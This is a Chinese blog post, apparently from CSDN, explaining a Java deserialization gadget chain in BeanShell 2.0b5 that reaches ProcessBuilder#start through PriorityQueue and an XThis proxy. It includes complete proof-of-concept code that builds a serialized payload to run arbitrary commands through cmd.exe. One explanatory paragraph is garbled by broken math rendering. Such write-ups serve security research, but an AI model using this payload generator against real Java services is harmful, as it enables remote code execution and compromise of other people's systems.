beanshell 反序列化

beanshell 反序列化

依赖

<dependency>
    <groupId>org.beanshell</groupId>
    <artifactId>bsh</artifactId>
    <version>2.0b5</version>
</dependency>

Gadget

/*
 * Gadget:
 *   PriorityQueue#readObject
 *     XThis$Handler#invoke
 *       XThis$Handler#invokeImpl
 *         compareTo(自定义的函数字符串)
 *           ProcessBuilder#start
 * */

用 XThis H a n d l e r 类 作 为 处 理 器 创 建 动 态 代 理 对 象 , 并 把 代 理 对 象 放 进 P r i o r i t y Q u e u e 中 , 这 时 在 反 序 列 化 P r i o r i t y Q u e u e 对 象 时 调 用 X T h i s Handler 类作为处理器创建动态代理对象,并把代理对象放进 PriorityQueue 中,这时在反序列化 PriorityQueue 对象时调用 XThis HandlerPriorityQueuePriorityQueueXThisHandler#invoke 方法,XThisKaTeX parse error: Expected 'EOF', got '#' at position 8: Handler#̲invoke 方法调用 XTh…Handler#invokeImpl 方法

image-20220123193734051

invokeImpl 调用 This#invokeMethod 方法,利用 PriorityQueue 触发代理对象的 invoke ,传入的 methodName 为 compareTo ,args 为 PriorityQueue 对象中的元素值

image-20220123194015431

跟进 invokeMethod 方法,从 namespace 属性中获取获取 methodName 方法名,参数类型为 args 类型的 BshMethod ,然后执行

image-20220123194233288

根据 PriorityQueue#siftDownComparable 方法可以知道 methodName 为 compareTo ,参数类型为元素的类型

image-20220123194612278

最后就是怎么把方法放进 namespace 属性中了,Interpreter#eval 方法可以把一个字符串函数放进 Interpreter.globalNameSpace 属性中

image-20220123194947991

最后实例化 XThis 对象时把 Interpreter.globalNameSpace 传进去即可

public class BeanShell {
    public static byte[] getSerializeData() throws Exception{
        String compareMethod =
                "    compareTo(java.lang.String obj1) {\n" +
                        "        new ProcessBuilder(new String[]{\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"/c\",\""+ParseArgs.cmd+"\"}).start();\n" +
                        "    }";
        Interpreter interpreter = new Interpreter();
        interpreter.eval(compareMethod);
        XThis xThis = new XThis(interpreter.getNameSpace(),interpreter);
        InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetField(xThis, "invocationHandler");
        Comparable proxy = (Comparable) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{Comparable.class}, invocationHandler);
        PriorityQueue priorityQueue = new PriorityQueue();
        priorityQueue.add("1");
        priorityQueue.add("2");
        Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");
        queue[0] = proxy;
        byte[] bytes = SerWithUnSer.serialize(priorityQueue);
        return bytes;
    }

    public static void main(String[] args) throws Exception{
        ParseArgs.parseArgs(args);
        byte[] bytes = getSerializeData();
        SerWithUnSer.unSerialize(bytes);
    }
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值